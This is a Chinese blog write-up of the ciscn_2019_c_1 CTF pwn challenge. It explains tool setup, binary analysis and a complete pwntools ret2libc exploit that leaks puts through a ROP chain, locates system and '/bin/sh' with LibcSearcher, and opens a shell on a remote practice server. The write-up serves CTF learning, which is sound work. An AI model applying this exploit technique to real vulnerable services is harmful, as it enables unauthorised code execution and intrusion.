ciscn_2019_c_1(ret2libc)

本文介绍了如何使用Python库LibcSearcher和工具ropper来处理pwn问题,特别是针对具有NX保护、未提供libc版本且存在栈溢出的加密程序。通过分析程序,构造ROP链,利用puts()泄露libc基地址,并找到system和binsh地址,最终实现程序的利用。
摘要由CSDN通过智能技术生成

0x00 准备

LibcSearcher:python的一个库,用于解决pwn中不明libc版本的情况。

git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
sudo python setup.py develop

ropper:找gadgets。官网下载:
​​​​​​https://pypi.org/project/ropper/1.11.2/

解压缩,拖到ubuntu里,进入这个文件。

python3 setup.py install

0x01 分析

checksec:64位,开了NX。

 运行如下图,这是一个加密小程序,1:加密;2:解密;3:退出

 ida分析:有puts(),加密函数里有gets(),存在栈溢出,0x50+8

没有system和binsh,开启了NX,需要自己构造ROP链。没有给出libc文件,可以用puts()来泄露libc基地址。

用ropper找pop rdi

 pop_rdi=0x400c83

0x02 EXP

from pwn import *
from LibcSearcher import *
p=remote("node4.buuoj.cn",26503)
elf=ELF("./ciscn_2019_c_1")

pop_rdi=0x400c83
plt=elf.plt['puts']
got=elf.got['puts']
main=0x400B28

payload1=b'a'*0x58+p64(pop_rdi)+p64(got)+p64(plt)+p64(main)

p.recv()
p.sendline("1")
p.recvuntil("encrypted\n")
p.sendline(payload1)
p.recvuntil(b"Ciphertext\n")
p.recvuntil(b"\n")

addr=u64(p.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",addr)
libcbase=addr-libc.dump("puts")
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump('str_bin_sh')
res=0x4006b9

payload2=b'a'*0x58+p64(res)+p64(pop_rdi)+p64(binsh)+p64(system)

p.recv()
p.sendline("1")
p.recvuntil("encrypted\n")
p.sendline(payload2)

p.interactive()

0x00 写在最后

萌新跟着别人的文章复现滴~还有很多疑问,本文有任何问题请指正。

为什么‘a’前要加b?

res地址是什么意思?

参考连接:

LibcSearcher--匹配libc版本的神器_Assassin__is__me的博客-CSDN博客

Ubuntu ropper的安装与使用_ropper 安装_yongbaoii的博客-CSDN博客

ciscn_2019_c_1_长街395的博客-CSDN博客

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值